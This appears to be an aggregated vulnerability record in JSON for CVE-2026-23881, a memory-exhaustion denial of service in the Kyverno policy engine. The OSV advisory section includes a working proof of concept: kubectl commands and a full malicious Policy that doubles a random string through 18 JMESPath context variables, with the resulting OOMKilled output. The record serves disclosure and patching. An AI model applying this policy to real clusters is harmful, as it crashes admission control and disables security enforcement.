{"id":"GHSA-r2rj-wwm5-x6mq","revision":null,"records":[{"revision":"c3aaa2e2af2b406fb834483bb0c110c3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-23881","aliases":[],"title":"Kyverno Denial of Service via Context Variable Amplification in Policy Engine","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.","state":0,"publishedAt":"2026-01-27T16:10:44.376+00:00","modifiedAt":"2026-01-27T16:33:03.342+00:00","affected":[{"ecosystem":"Vendor product","name":"kyverno","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kyverno\",\n                    \"product\": \"kyverno\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.15.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.16.0, < 1.16.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq","https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f","https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23881","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-23881","identifiers":["CVE-2026-23881"]},"retained":false,"historicalAffected":[]},{"revision":"eff97ce5749940e48c1baafd5b8d57aa","observedAt":"2026-11-13T15:59:00.101+00:00","statement":{"source":"euvd","id":"EUVD-2026-4812","aliases":["CVE-2026-23881","GHSA-r2rj-wwm5-x6mq"],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause den…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":null}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq","https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f","https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-4812","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 27, 2026, 4:10:44 PM","dateUpdated":"Jan 27, 2026, 4:33:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-4812","identifiers":["EUVD-2026-4812","CVE-2026-23881","GHSA-r2rj-wwm5-x6mq"]},"retained":false,"historicalAffected":[]},{"revision":"f3c06554eec94a77830ca08f9d9b66b4","observedAt":"2026-10-25T05:17:36.726+00:00","statement":{"source":"nvd","id":"CVE-2026-23881","aliases":[],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause den…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.","state":0,"publishedAt":"2026-01-27T17:16:12.733+00:00","modifiedAt":"2026-06-17T10:22:14.887+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f","https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7","https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23881","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-01-27T17:16:12.733","lastModified":"2026-06-17T10:22:14.887"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-23881","identifiers":["CVE-2026-23881"]},"retained":false,"historicalAffected":[]},{"revision":"d6be9d055da84d498ea3355a528a6423","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-r2rj-wwm5-x6mq","aliases":["BIT-kyverno-2026-23881","CVE-2026-23881","GO-2026-4382"],"title":"Kyverno Denial of Service via Context Variable Amplification in Policy Engine","description":"## Summary\n\nUnbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB\n- `l1` = `join('', [l0, l0])` → 2KB\n- `l2` = `join('', [l1, l1])` → 4KB\n- ... continues to `l18` → 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: memory-exhaustion-poc\n  namespace: poc-test\nspec:\n  validationFailureAction: Enforce\n  rules:\n    - name: exhaust-memory\n      match:\n        any:\n          - resources:\n              kinds:\n                - ConfigMap\n      context:\n        - name: l0\n          variable:\n            jmesPath: random('[a-zA-Z0-9]{1000}')\n        - name: l1\n          variable:\n            jmesPath: join('', [l0, l0])\n        - name: l2\n          variable:\n            jmesPath: join('', [l1, l1])\n        - name: l3\n          variable:\n            jmesPath: join('', [l2, l2])\n        - name: l4\n          variable:\n            jmesPath: join('', [l3, l3])\n        - name: l5\n          variable:\n            jmesPath: join('', [l4, l4])\n        - name: l6\n          variable:\n            jmesPath: join('', [l5, l5])\n        - name: l7\n          variable:\n            jmesPath: join('', [l6, l6])\n        - name: l8\n          variable:\n            jmesPath: join('', [l7, l7])\n        - name: l9\n          variable:\n            jmesPath: join('', [l8, l8])\n        - name: l10\n          variable:\n            jmesPath: join('', [l9, l9])\n        - name: l11\n          variable:\n            jmesPath: join('', [l10, l10])\n        - name: l12\n          variable:\n            jmesPath: join('', [l11, l11])\n        - name: l13\n          variable:\n            jmesPath: join('', [l12, l12])\n        - name: l14\n          variable:\n            jmesPath: join('', [l13, l13])\n        - name: l15\n          variable:\n            jmesPath: join('', [l14, l14])\n        - name: l16\n          variable:\n            jmesPath: join('', [l15, l15])\n        - name: l17\n          variable:\n            jmesPath: join('', [l16, l16])\n        - name: l18\n          variable:\n            jmesPath: join('', [l17, l17])\n      validate:\n        message: \"Memory exhaustion PoC\"\n        deny:\n          conditions:\n            any:\n              - key: \"{{ l18 }}\"\n                operator: Equals\n                value: \"impossible-match\"\n```\n\nAs soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m\nkyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.","state":0,"publishedAt":"2026-01-27T18:02:22+00:00","modifiedAt":"2026-09-10T03:50:59.0848256+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.15.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.16.0-rc.1"},{"kind":"fixed","version":"1.16.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq","https://nvd.nist.gov/vuln/detail/CVE-2026-23881","https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f","https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7","https://github.com/kyverno/kyverno"],"sourceUrl":"https://github.com/advisories/GHSA-r2rj-wwm5-x6mq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r2rj-wwm5-x6mq","identifiers":["GHSA-r2rj-wwm5-x6mq","BIT-kyverno-2026-23881","CVE-2026-23881","GO-2026-4382"]},"retained":false,"historicalAffected":[]},{"revision":"200db0eebb88428bac650f0cb935b493","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4382","aliases":["BIT-kyverno-2026-23881","CVE-2026-23881","GHSA-r2rj-wwm5-x6mq"],"title":"Kyverno Denial of Service via Context Variable Amplification in Policy Engine in github.com/kyverno/kyverno","description":"Kyverno Denial of Service via Context Variable Amplification in Policy Engine in github.com/kyverno/kyverno","state":0,"publishedAt":"2026-02-02T21:05:59+00:00","modifiedAt":"2026-02-04T03:00:02.662743+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.15.3"},{"kind":"introduced","version":"1.16.0-rc.1"},{"kind":"fixed","version":"1.16.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq","https://nvd.nist.gov/vuln/detail/CVE-2026-23881","https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f","https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4382","license":"OSV · upstream source license applies","key":"osv:GO-2026-4382","identifiers":["GO-2026-4382","BIT-kyverno-2026-23881","CVE-2026-23881","GHSA-r2rj-wwm5-x6mq"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-72982b9934754adc837c49eedb06b43c","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:05:38.757545+00:00","lastSuccessAt":"2026-11-15T13:05:38.906594+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:05:38.906594+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}